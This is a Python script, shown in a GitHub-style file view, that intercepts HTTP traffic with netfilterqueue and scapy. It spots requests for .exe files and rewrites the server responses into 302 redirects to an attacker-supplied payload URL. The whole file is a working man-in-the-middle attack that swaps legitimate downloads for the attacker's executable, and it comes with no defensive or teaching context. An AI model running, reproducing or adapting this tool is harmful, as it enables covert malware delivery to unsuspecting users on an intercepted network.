-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrun.py
More file actions
66 lines (52 loc) · 2.3 KB
/
Copy pathrun.py
File metadata and controls
66 lines (52 loc) · 2.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import argparse
import os
import netfilterqueue
import scapy.all as scapy
# ------------------ ARGUMENTS ------------------
parser = argparse.ArgumentParser(description="Replace .exe downloads with your payload.")
parser.add_argument("-u", "--url", required=True, help="Full URL to payload (e.g., http://myserver.com/setup.exe)")
args = parser.parse_args()
payload_url = args.url
payload_filename = os.path.basename(payload_url)
ack_list = []
print(f"[+] Payload URL: {payload_url}")
print(f"[+] Payload filename: {payload_filename}")
# ------------------ PACKET HANDLER ------------------
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
# Ignore non-TCP packets to prevent errors
if not scapy_packet.haslayer(scapy.TCP):
packet.accept()
return
if scapy_packet.haslayer(scapy.Raw):
raw_load = scapy_packet[scapy.Raw].load
# Outgoing request (client to server)
if scapy_packet[scapy.TCP].dport == 80:
if b".exe" in raw_load and payload_filename.encode() not in raw_load:
print(f"[+] EXE request detected: {raw_load.split(b' ')[1]}")
ack_list.append(scapy_packet[scapy.TCP].ack)
# Incoming response (server to client)
elif scapy_packet[scapy.TCP].sport == 80:
if scapy_packet[scapy.TCP].seq in ack_list:
ack_list.remove(scapy_packet[scapy.TCP].seq)
if payload_filename.encode() in raw_load:
# Skip replacing our own payload to avoid infinite loop
packet.accept()
return
print(f"[+] Replacing with redirect to {payload_url}")
redirect = (
"HTTP/1.1 302 Found\r\n"
f"Location: {payload_url}\r\n"
"Content-Length: 0\r\n"
"Connection: close\r\n\r\n"
)
scapy_packet[scapy.Raw].load = redirect.encode()
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.TCP].chksum
packet.set_payload(bytes(scapy_packet))
packet.accept()
# ------------------ START ------------------
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()